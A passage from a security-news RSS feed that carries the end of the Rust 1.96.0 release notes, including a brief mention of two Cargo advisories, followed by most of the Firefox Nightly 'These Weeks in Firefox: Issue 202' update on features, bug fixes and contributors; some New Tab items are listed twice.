<li><a href="https://doc.rust-lang.org/stable/core/range/struct.RangeFromIter.html" rel="external"><code>core::range::RangeFromIter</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/core/range/struct.Range.html" rel="external"><code>core::range::Range</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/core/range/struct.RangeIter.html" rel="external"><code>core::range::RangeIter</code></a></li>
</ul>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/05/28/Rust-1.96.0/#two-cargo-advisories"></a>
Two Cargo advisories</h4>
<p>Rust 1.96 contains fixes for two vulnerabilities for users of third-party registries.</p>
<ul>
<li>
<p><a href="https://blog.rust-lang.org/2026/05/25/cve-2026-5223/" rel="external">CVE-2026-5223</a> is a <strong>medium</strong> severity vulnerability regarding extraction of crate tarballs with symlinks.</p>
</li>
<li>
<p><a href="https://blog.rust-lang.org/2026/05/25/cve-2026-5222/" rel="external">CVE-2026-5222</a> is a <strong>low</strong> severity vulnerability regarding authentication with normalized URLs.</p>
</li>
</ul>
<p>Users of crates.io are <strong>not affected</strong> by either vulnerability.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/05/28/Rust-1.96.0/#other-changes"></a>
Other changes</h4>
<p>Check out everything that changed in <a href="https://github.com/rust-lang/rust/releases/tag/1.96.0" rel="external">Rust</a>, <a href="https://doc.rust-lang.org/nightly/cargo/CHANGELOG.html#cargo-196-2026-05-28" rel="external">Cargo</a>, and <a href="https://github.com/rust-lang/rust-clippy/blob/master/CHANGELOG.md#rust-196" rel="external">Clippy</a>.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/05/28/Rust-1.96.0/#contributors-to-1-96-0"></a>
Contributors to 1.96.0</h3>
<p>Many people came together to create Rust 1.96.0. We couldn't have done it without all of you. <a href="https://thanks.rust-lang.org/rust/1.96.0/" rel="external">Thanks!</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Firefox Nightly: Backup for a Rainy Day – These Weeks in Firefox: Issue 202]]></title>
<description><![CDATA[Highlights

The profile backup mechanism has been enabled by default for all desktop platforms in Nightly, as well as Beta! The current plan is to have this ride out to Firefox 151 for Windows, macOS and Linux on May 18th!

This feature, when enabled, will create a copy of your profile data in th...]]></description>
<link>https://tsecurity.de/de/3693295/tools/firefox-nightly-backup-for-a-rainy-day-these-weeks-in-firefox-issue-202/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693295/tools/firefox-nightly-backup-for-a-rainy-day-these-weeks-in-firefox-issue-202/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:35 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Highlights</h3>
<ul>
<li>The profile backup mechanism has been enabled by default for all desktop platforms in Nightly, as well as Beta! The current plan is to have this ride out to Firefox 151 for Windows, macOS and Linux on May 18th!
<ul>
<li>This feature, when enabled, will create a copy of your profile data in the background and store it in a single file on your file system that you can restore from.</li>
<li>You will be able to manage this feature in Settings under Sync (for now)
<ul>
<li><a href="https://blog.nightly.mozilla.org/files/2026/06/image6.png"><img alt="Firefox settings page showing the Backup feature in dark mode. Backup is enabled, with details of the most recent backup and a “Backup now” button. The page displays the backup file name and a backup location folder path, along with “Choose…” and “Show in folder” buttons. A “Sensitive data” section includes an option to back up passwords and payment methods with encryption, and a disabled “Change password” button." class="aligncenter size-full wp-image-2074" height="517" src="https://blog.nightly.mozilla.org/files/2026/06/image6.png" width="657"></a></li>
</ul>
</li>
<li><a href="https://support.mozilla.org/kb/firefox-backup">You can read more about the feature here</a></li>
</ul>
</li>
<li>As followups to the recent addition to the WebExtension tabs API to <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Working_with_the_Tabs_API#working_with_tab_split_views">support the new SplitView tabs feature</a>, tabs.group() and tabs.ungroup() have been fixed to work correctly with split view tabs, and fixed split views being prepended instead of appended to tab groups when adopted into a new window –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029099"> Bug 2029099</a> /<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029534"> Bug 2029534</a></li>
<li>Adaptive autofill has been enabled on Nightly.
<ul>
<li>Previously, autofill only completed domains (e.g. typing red autofilled<a href="http://reddit.com/"> reddit.com</a>). Now it can also complete full URLs for pages you visit often (e.g. red →<a href="http://reddit.com/r/firefox"> reddit.com/r/firefox</a>), learning from what you actually click in the address bar. If a suggestion isn’t helpful, you can now dismiss it so autofill learns what not to show you too.
<ul>
<li>If you run into issues or have feedback, <a href="https://bugzilla.mozilla.org/enter_bug.cgi?product=Firefox&amp;component=Address+Bar">you can file a bug here</a>!</li>
</ul>
</li>
</ul>
</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=293943">Markus Stange [:mstange]</a> implemented dynamic toolbar on top in RDM (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1978145">#1978145</a>), but also implemented some static skeleton UI so it’s closer to what we actually have in Firefox for Android
<ul>
<li>dynamic toolbar is behind a pref: devtools.responsive.dynamicToolbar.enabled</li>
<li>it can be put on top by setting devtools.responsive.dynamicToolbar.onTop, otherwise it’s at the bottom</li>
<li><a href="https://blog.nightly.mozilla.org/files/2026/06/image1.png"><img alt="Firefox Responsive Design Mode on Desktop displaying the Mozilla homepage in a mobile viewport. The toolbar at the top shows a simulated Android device (including the dynamic toolbar) with a viewport size of 376 × 464 pixels and a device pixel ratio of 3. The page content is shown in French, featuring the Mozilla logo, a “Menu” link, a “Pause animation” button, and the headline “Bienvenue chez Mozilla” with accompanying text about trusted technology and digital rights." class="aligncenter size-full wp-image-2069" height="1113" src="https://blog.nightly.mozilla.org/files/2026/06/image1.png" width="882"></a></li>
</ul>
</li>
</ul>
<h3>Friends of the Firefox team</h3>
<h3><a href="https://bugzilla.mozilla.org/buglist.cgi?title=Resolved%20bugs%20(excluding%20employees)&amp;quicksearch=958957%2C1876109%2C1997388%2C2000797%2C1950995%2C1986020%2C2018272%2C2018276%2C2021681%2C2027969%2C2022115%2C1999012%2C2016058%2C2026585%2C2023913%2C2028167%2C2028293%2C2028927%2C1998002%2C2011343%2C1997925%2C2026574%2C2029398%2C2029684%2C1948019%2C2008756%2C2022601%2C2026032%2C2030428%2C1968244%2C1975391%2C944228%2C1962904%2C1977741%2C1997346%2C2027867%2C2030631%2C1807516%2C2030998%2C2030999%2C2015491%2C2028153%2C2028628%2C1978290%2C2008128%2C2024033%2C1883497%2C1984679%2C2030069%2C2031162%2C2031598%2C2012399%2C2031116%2C2031128%2C2031931%2C2031961%2C2033173%2C2032997%2C1919387%2C1947679%2C2027915%2C2032196%2C2019561%2C2024187%2C1392125%2C1993844%2C2027060%2C1983408%2C2034178%2C1873954%2C1875083%2C2008119%2C2008197%2C1628669%2C2031599%2C2033820">Resolved bugs (excluding employees)</a></h3>
<p><a href="https://github.com/niklasbaumgardner/NewContributorScraper">Script to find new contributors from bug list</a></p>
<h4>Volunteers that fixed more than one bug</h4>
<ul>
<li>Amin Amir</li>
<li>aoia7rz7l</li>
<li>Chukwuka Rosemary</li>
<li>DrSeed</li>
<li>Frédéric Wang Nélar</li>
<li>japandi</li>
<li>John Iweh</li>
<li>jonathancabera</li>
<li>Josh Aas</li>
<li>Keji Bakare</li>
<li>kofoworola shonuyi</li>
<li>konyhéa</li>
<li>liz</li>
<li>Mathew Hodson</li>
<li>Okhuomon Ajayi</li>
<li>Oluwatobi</li>
<li>ROSHAAN</li>
<li>Sam Johnson</li>
</ul>
<h4>New contributors (🌟 = first patch)</h4>
<ul>
<li> Anthony Mclamb:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027915"> Disable the legacy Edge migrator</a></li>
<li> Amin Amir
<ul>
<li>🌟<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031599">Fix browsingContext.sys.mjs to assign to #contextCreatedHandled instead of contextCreatedHandled</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033820">Fix missing WITHOUT ROWID SQLite performance optimization in SERPCategorization.sys.mjs</a></li>
<li>🌟 Amine Zroual:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1392125"> Omitted maxResults property not handled correctly in getRecentlyClosed</a></li>
</ul>
</li>
<li>any1here:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031162"> install_sig_alt_stack incorrectly checks mmap’s return value</a></li>
<li>🌟 Armin Ulrich:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031598"> Fix MessageHandlerRegistry.sys.mjs calling getExistingMessageHandler with an unused second argument</a></li>
<li>japandi
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1628669">Cannot remove amazon.com from top sites list</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1977741">The height of the pinned tabs area should be responsive to the number of pins</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1986020">Use cenum for nsIHelperAppLauncherDialog reason constants to enable better typescript annotations</a></li>
</ul>
</li>
<li>Nathan Johnson [:narjoDev]:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1950995"> Remove browser.display.use_system_colors pref</a></li>
<li>DrSeed
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1962904">Firefox shows vertical tabs in new windows despite “Hide tabs and sidebar” setting</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1968244">The “Expand sidebar on hover” option is not kept after the vertical tabs are disabled and enabled again</a></li>
</ul>
</li>
<li>Keji Bakare:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2008756">Split view’s focus-outline is clipped on the right side of left tab</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031116">White space on the right side of left panel in split view</a></li>
</ul>
</li>
<li>🌟 gotyaoi:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1807516"> Reload toolbar button is active on about:newtab</a></li>
<li>Itoro James:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2015491"> [A11y][Keyboard Navigation]Cancelling a note via Keyboard Navigation still saves it</a></li>
<li>John Iweh:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1997925"> The notification dot is not displayed if the tab is in a Split View</a></li>
<li>🌟 John Iweh:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027867"> sidebar-shown attribute remains when sidebar.revamp is false</a></li>
<li>🌟 jonathancabera:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2012399">The Move tab to Split View option is also displayed for the tabs that are within the Split View</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2016058">A Note with long text (1003 characters) is saved by pressing ENTER even if the “Save” button is disabled</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026032">Tab group guide line becomes disconnected under certain conditions related to split views in vertical tab mode</a></li>
</ul>
</li>
<li>Aloys:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2000797"> Remove logic that forces distribution language packs to be reinstalled when upgrading from Firefoxes older than 67</a></li>
<li>liz:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1875083">Create test to ensure maxRenderCountEstimate is never being set to Infinity in virtual-list component in Fx View</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2008119">Button accessible name does not convey its function: missing topic context (Settings dialog &gt; Topics dialog &gt; buttons Following/Unfollow/Blocked/Unblock)</a></li>
</ul>
</li>
<li>Mary cathline:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2022115"> Tab Group Label does not respect touch density in vertical tab bar</a></li>
<li>🌟 Brandon Lucier:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030631"> Popups opened with window.open give window type normal instead of popup</a></li>
<li>karan68:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1997388"> [dialog] New Shortcut dialog needs a label/accessible name</a></li>
<li>🌟 Vector:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2008128"> Button does not programmatically indicate that it opens a dialog (Recent activity section &gt; story card &gt; ••• disclosure &gt; Delete from History button)</a></li>
<li>🌟 Osoble:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1876109"> Update font size and weight for synced tabs device name headers in Firefox View</a></li>
<li>konyhéa:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1873954">Add test for sync admin disabled to browser_syncedtabs_errors_firefoxview.js</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1883497">Check all second paramaters for TestUtils.waitForCondition in Fx View test files</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030069">Recently Closed Tabs, Tabs from Other Devices, and History pages should have Cmd / Ctrl + Click on a link open the link in the new background tab.</a></li>
</ul>
</li>
<li>Noble Chinonso: <a href="http://sidebartreeview.js/">#shouldHandleEvent in SidebarTreeView.js compares event.keyCode to string values, causing Home/End keys to never be handled</a></li>
<li>Pranjali Srivastava:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=944228"> Add a test to verify that the space above tabs is consistent across PB, LWT and sizemode (where appropriate)</a></li>
<li>Okhuomon Ajayi:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2018272">More spacing is needed between the tab note icon and the close icon on the tab</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2019561">The tabs in vertical mode collapsed state are positioned differently in Split View</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027060">Keep vertical split view tabs stacked vertically even when the sidebar is expanded when expand on hover is enabled</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029684">Vertical split view tabs can be too big or small when tabs are overflowing</a></li>
</ul>
</li>
<li>🌟 Rishan:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030428"> Fix duplicated arrow function in browser_history_sidebar.js</a></li>
<li>Chukwuka Rosemary:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1948019">“Forget About This Site” context menu option missing from Firefox View history</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026574">Long strings are not displayed properly on the about:opentabs page search filed</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028153">Add test for Forget This Site option in Fxview history context menu.</a></li>
</ul>
</li>
<li>ROSHAAN:
<ul>
<li>🌟<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2018276">Tab note background colour is incorrect for default light theme</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1997346"> [win/linux] The splitter between content areas does not match Figma spec</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028927">Fix typo in OpenInTabsUtils.confirmOpenInTabs()</a></li>
</ul>
</li>
<li>Sameeksha:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2008197"> Disclosure button expanded/collapsed state not programmatically defined (Customize button)</a></li>
<li>kofoworola shonuyi:
<ul>
<li>🌟<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1999012">Actually hide or remove sidebar-shown attribute when in fullscreen.</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028293">Add a test for checking sidebar-shown attribute in fullscreen mode</a></li>
</ul>
</li>
<li>🌟 Sayd Mateen:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2021681"> Page URL is displayed as tab name when page’s contains about:reader?&lt;/a&gt;&lt;/p&gt; &lt;p&gt;</a></li>
</ul>
<ul>
<li>Oluwatobi:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1975391">Unable to delete selected history entries from sidebar</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1993844">Incorrect Sidebar button state/tooltip hover text</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2023913">The city name heading level doesn’t follow the correct heading level order</a></li>
</ul>
</li>
<li>Nishchay [:nish]:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031961"> Unable to add tabs to old closed tab groups (tabGroupState.splitViews is undefined)</a></li>
</ul>
<p> </p>
<h3>Project Updates</h3>
<h4>Add-ons / Web Extensions</h4>
<h5>Addon Manager &amp; about:addons</h5>
<ul>
<li>In preparation for the Project Nova restyling of the about:addons page, we have refactored about:addons into separate per-component ES modules, splitting the monolithic aboutaddons.js and aboutaddons.html into 16 dedicated component files under components/ (with no behavior or UI changes) –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032014"> Bug 2032014</a>
<ul>
<li>NOTE: if you have working on patches with changes to about:addons internals it is very likely you’ll need to rebase and solve merge conflicts hit on top of this refactoring, the internals are still largely the same as before but don’t hesitate to reach out to the Addons team if you have doubts / questions or need help to figure out how to adapt your patch of top of these changes</li>
</ul>
</li>
</ul>
<h5>WebExtensions Framework</h5>
<ul>
<li>Fixed exportFunction to preserve the constructibility of the wrapped function instead of unconditionally making all exported functions implicitly as constructors –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033173"> Bug 2033173</a>
<ul>
<li>Thanks to Gregory Pappas for contributing this improvement to the Content Scripts’ Xray Wrappers helpers!</li>
</ul>
</li>
<li>Fixed a Firefox 151 regression where extension content scripts accessing location.ancestorOrigins caused subsequent page script reads of the same property to fail with “Permission denied”, breaking sites like Gmail –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034329"> Bug 2034329</a>
<ul>
<li>Thanks to Simon Farre for promptly investigating and fixing this recent regression!</li>
</ul>
</li>
</ul>
<h5>WebExtension APIs</h5>
<ul>
<li>Updated sessions.getRecentlyClosed() to remove the hardcoded cap when maxResults is omitted –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1392125"> Bug 1392125</a>
<ul>
<li>Shoutout to Amine Zroual for contributing this enhancement to the sessions WebExtensions API!</li>
</ul>
</li>
</ul>
<h4>DevTools</h4>
<ul>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=750915">Artem Manushenkov</a> fixed an issue where autosuggestion popup was removing overridden indicators from properties in the Inspector (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1983408">#1983408</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=446257">Andrea Marchesini [:baku]</a> fix DevTools cookie header serialization for long cookies, which could lead to cookies not being visible in Netmonitor (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031299">#2031299</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=559949">Julian Descottes [:jdescottes]</a> fixed a toolbox crash that was happening we couldn’t find a localization file (e.g. when using a language pack on Nightly) (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028930">#2028930</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=557153">Nicolas Chevobbe [:nchevobbe]</a> improved @container tooltip so it show the value of variables used in style()(<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030239">#2030239</a>), has enough contrast in dark mode (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033782">#2033782</a>) and contains a link to select the container (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031688">#2031688</a>)
<ul>
<li><a href="https://blog.nightly.mozilla.org/files/2026/06/image3.png"><img alt='Firefox Developer Tools showing a CSS @container style() rule in the Rules panel. A popover for a element displays container properties including "container-name: hello section-container", "container-type: inline-size", and the custom property "--w: 100px", while indicating that --secondary and --plouf are not set. Below, the container query uses nested var() fallbacks, and a CSS declaration previews the resolved value for background-color.' class="aligncenter size-full wp-image-2071" height="532" src="https://blog.nightly.mozilla.org/files/2026/06/image3.png" width="1038"></a></li>
</ul>
</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=656417">Hubert Boma Manilla (:bomsy)</a> is making good progress on migrating the Console to CodeMirror 6 (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032758">#2032758</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026569">#2026569</a>)</li>
</ul>
<h4>Fluent</h4>
<ul>
<li>We’re now at over 72% of our strings being Fluent! Got a component still using .properties? Convert when you can!</li>
<li><a href="https://blog.nightly.mozilla.org/files/2026/06/image5.png"><img alt="Stacked area chart titled “Are We Fluent Yet?” showing the number and type of localization strings available in Firefox from 2018 to 2026. The chart tracks Fluent strings (green), Properties strings (blue), DTD strings (pink), and a small number of INI strings. Over time, Fluent strings steadily increase while DTD and Properties strings decline. A tooltip at April 26, 2026 shows 10,372 Fluent strings, 3,997 Properties strings, and no remaining DTD or INC strings, illustrating Firefox’s ongoing migration to the Fluent localization system." class="aligncenter size-full wp-image-2073" height="924" src="https://blog.nightly.mozilla.org/files/2026/06/image5.png" width="1509"></a></li>
</ul>
<h4>Migration Improvements</h4>
<ul>
<li>Thanks to dao for <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035009">fixing a recent alignment issue in the migration wizard dropdown</a></li>
<li>Thanks to volunteer contributor Anthony Mclamb for his patch that <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027915">disables the legacy EdgeHTML Edge migrator</a>! Once that finishes rolling out, presuming no surprises, we’ll go ahead and remove the migrator entirely.</li>
</ul>
<h4>New Tab Page</h4>
<ul>
<li>Nova for New Tab has ridden the trains to Beta! It will be enabled by default, globally, when Firefox 151 goes out to release on May 19th
<ul>
<li>It’s possible that we’ll do a train-hop coupled with an experiment to enable HNT Nova for a few clients a bit earlier.</li>
</ul>
</li>
<li>Maxx Crawford<a href="https://bugzil.la/2032213"> enabled Nova designs for New Tab</a>, rolling out the updated layout, widgets, and customization panel behind HNT Nova flags.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2033165"> fixed the Nova content feed to render the intended four‑column layout</a> by correcting CSS grid breakpoints.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2033264"> resolved a first‑load failure in the Weather widget</a> by fixing init order and fetch timing, eliminating the “Oops” error.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2031707"> synchronized the Weather toggle between about:preferences#home and the panel</a> via the shared showWeather pref to prevent desync.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2021460"> updated Nova grid focus order</a> to align tab flow with visual order for keyboard users.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2034620"> fixed critical UI issues in Lists and Timer widgets</a> covering overflow, controls, and layout stability.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2032462"> guarded document.dir access in Nova render paths</a> to avoid startup cache worker errors and improve startup stability.</li>
<li>Rolf<a href="https://bugzil.la/2031568"> added a new normalization method for the inferred interest vector</a> to stabilize topic relevance across sessions.</li>
<li>Rolf<a href="https://bugzil.la/2031569"> prevented unnecessary content refreshes during Pocket New Tab experiments</a>, reducing jank and bandwidth.</li>
<li>Sameeksha<a href="https://bugzil.la/2008197"> defined the Customize button’s expanded/collapsed state programmatically</a> using aria-expanded for better a11y.</li>
<li>liz<a href="https://bugzil.la/2008119"> clarified follow/unfollow/blocked button names with topic context</a> so screen readers announce clear actions.</li>
<li>Vector<a href="https://bugzil.la/2008128"> marked the Delete from History control as opening a dialog</a> via aria-haspopup=dialog for assistive tech.</li>
<li>Scott Downe<a href="https://bugzil.la/2034145"> fixed a regression that flipped the Wallpapers pref off</a>, restoring user selections.</li>
<li>Irene Ni<a href="https://bugzil.la/2033927"> corrected privacy link color and focus styles</a> for contrast and keyboard visibility.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2030873"> added a wallpaper toggle reset in the Nova customization panel</a> so users can quickly restore default wallpapers without extra steps.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2031669"> fixed the Customize pencil button to match the Nova spec</a>, aligning placement and iconography for visual consistency.</li>
<li>Dre<a href="https://bugzil.la/2032607"> updated the ‘Fresh new’ wallpapers copy</a> to a clearer, localized message for better comprehension.</li>
<li>Irene Ni<a href="https://bugzil.la/2033927"> fixed Nova privacy link color and focus styles</a> to meet contrast and focus ring guidelines, improving accessibility on New Tab.</li>
<li>Irene Ni<a href="https://bugzil.la/2034098"> adjusted Sponsored tile character limits</a> to prevent truncation/overflow, yielding cleaner titles across grid and wide tiles.</li>
<li>Scott Downe<a href="https://bugzil.la/2034145"> fixed a regression that flipped the Wallpapers user pref to false</a>, restoring wallpapers for affected users and preventing unintended disablement.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2034688"> hooked the wallpaper check into the new toggle logic</a> so the Customization Panel accurately reflects wallpaper availability and state.</li>
<li>Irene Ni<a href="https://bugzil.la/2034912"> landed Nova UI updates for the Daily Briefing 3-pack card</a>, improving spacing, type scale, and tap targets.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2030873"> added a wallpaper toggle reset in the Nova customization panel</a> so users can quickly restore default wallpapers without extra steps.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2031669"> fixed the Customize pencil button to match the Nova spec</a>, aligning placement and iconography for visual consistency.</li>
<li>Dre<a href="https://bugzil.la/2032607"> updated the ‘Fresh new’ wallpapers copy</a> to a clearer, localized message for better comprehension.</li>
<li>Irene Ni<a href="https://bugzil.la/2033927"> fixed Nova privacy link color and focus styles</a> to meet contrast and focus ring guidelines, improving accessibility on New Tab.</li>
<li>Irene Ni<a href="https://bugzil.la/2034098"> adjusted Sponsored tile character limits</a> to prevent truncation/overflow, yielding cleaner titles across grid and wide tiles.</li>
<li>Scott Downe<a href="https://bugzil.la/2034145"> fixed a regression that flipped the Wallpapers user pref to false</a>, restoring wallpapers for affected users and preventing unintended disablement.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2034688"> hooked the wallpaper check into the new toggle logic</a> so the Customization Panel accurately reflects wallpaper availability and state.</li>
<li>Irene Ni<a href="https://bugzil.la/2034912"> landed Nova UI updates for the Daily Briefing 3-pack card</a>, improving spacing, type scale, and tap targets.</li>
</ul>
<h4>Search and Urlbar</h4>
<ul>
<li>Marco has fixed a<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034743"> couple</a> of<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1989632"> issues</a> with the places databases to try and improve stability. This should help with avoiding users losing bookmarks or favicons.</li>
<li>Work continues on the new separate search bar to improve the functionality, e.g.<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033231"> allowing middle click</a> to perform a search in a new tab,<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032991"> avoiding performing a</a> search when adding a search engine.</li>
<li>Work also continues on the new Nova layouts.</li>
</ul>
<h4>Smart Window</h4>
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032122">uplifted 10 bugs</a> to 150.0.1 dot release addressing initial user feedback from diary study and <a href="https://connect.mozilla.org/">Connect</a>
<ul>
<li>jump to bottom of conversation <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028692">2028692</a></li>
<li>stop streaming button <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029204">2029204</a></li>
<li>back/forward navigation from assistant <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029229">2029229</a></li>
<li>dark mode for various chips <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2024499">2024499</a></li>
</ul>
</li>
<li>search engine switching from smart bar <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2021973">2021973</a></li>
<li>Nova styling within smart window <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026794">2026794</a></li>
</ul>
<h4>Storybook/Reusable Components/Acorn Design System</h4>
<ul>
<li>Dustin converted moz-breadcrumb-group variables into JSON design tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029181">Bug 2029181 – Convert moz-breadcrumb-group variables into JSON design tokens</a></li>
<li>Dustin converted moz-box-* variables into JSON design tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029180">Bug 2029180 – Convert moz-box-* variables into JSON design tokens</a></li>
<li>Dustin converted moz-promo variables to JSON design tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029190">Bug 2029190 – Convert moz-promo variables into JSON design tokens</a></li>
<li>Dustin converted moz-reorderable-list variables to JSON design tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029191">Bug 2029191 – Convert moz-reorderable-list variables into JSON design tokens</a></li>
<li>Dustin converted moz-visual-picker variables to JSON design tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029193">Bug 2029193 – Convert moz-visual-picker-item variables into JSON design tokens</a></li>
<li>Dustin updated browser-shared.css so it passes use-design-tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2022985">Bug 2022985 – Update browser-shared.css so it passes use-design-tokens</a></li>
<li>Dustin updated popup.css so it passes use-design-tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2022979">Bug 2022979 – Update popup.css so it passes use-design-tokens</a></li>
<li>Jon added opacity tokens and added opacity to use-design-tokens stylelint rule  <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1955325">Bug 1955325 – Create opacity tokens</a></li>
<li>Jon converted toolbar design tokens to JSON <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2017970">Bug 2017970 – Convert toolbar design tokens to json</a></li>
<li>Anna fixed moz-select with panel-list drop-down size inconsistency <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032365">Bug 2032365 – Applications Action drop-down menus sometimes have a different size when opened</a></li>
<li>Anna fixed issue with the disabled state of moz-radio component <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027123">Bug 2027123 – moz-radio disabled state cannot be changed while the moz-radio-group is disabled</a></li>
<li>Anna updated moz-button and moz-box-button components to prevent label corruption when accesskeys are present and the label changes.   <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2022326">Bug 2022326 – moz-button with accesskey label becomes corrupted when l10nId updates dynamically</a></li>
</ul>
<h4>UX Fundamentals</h4>
<ul>
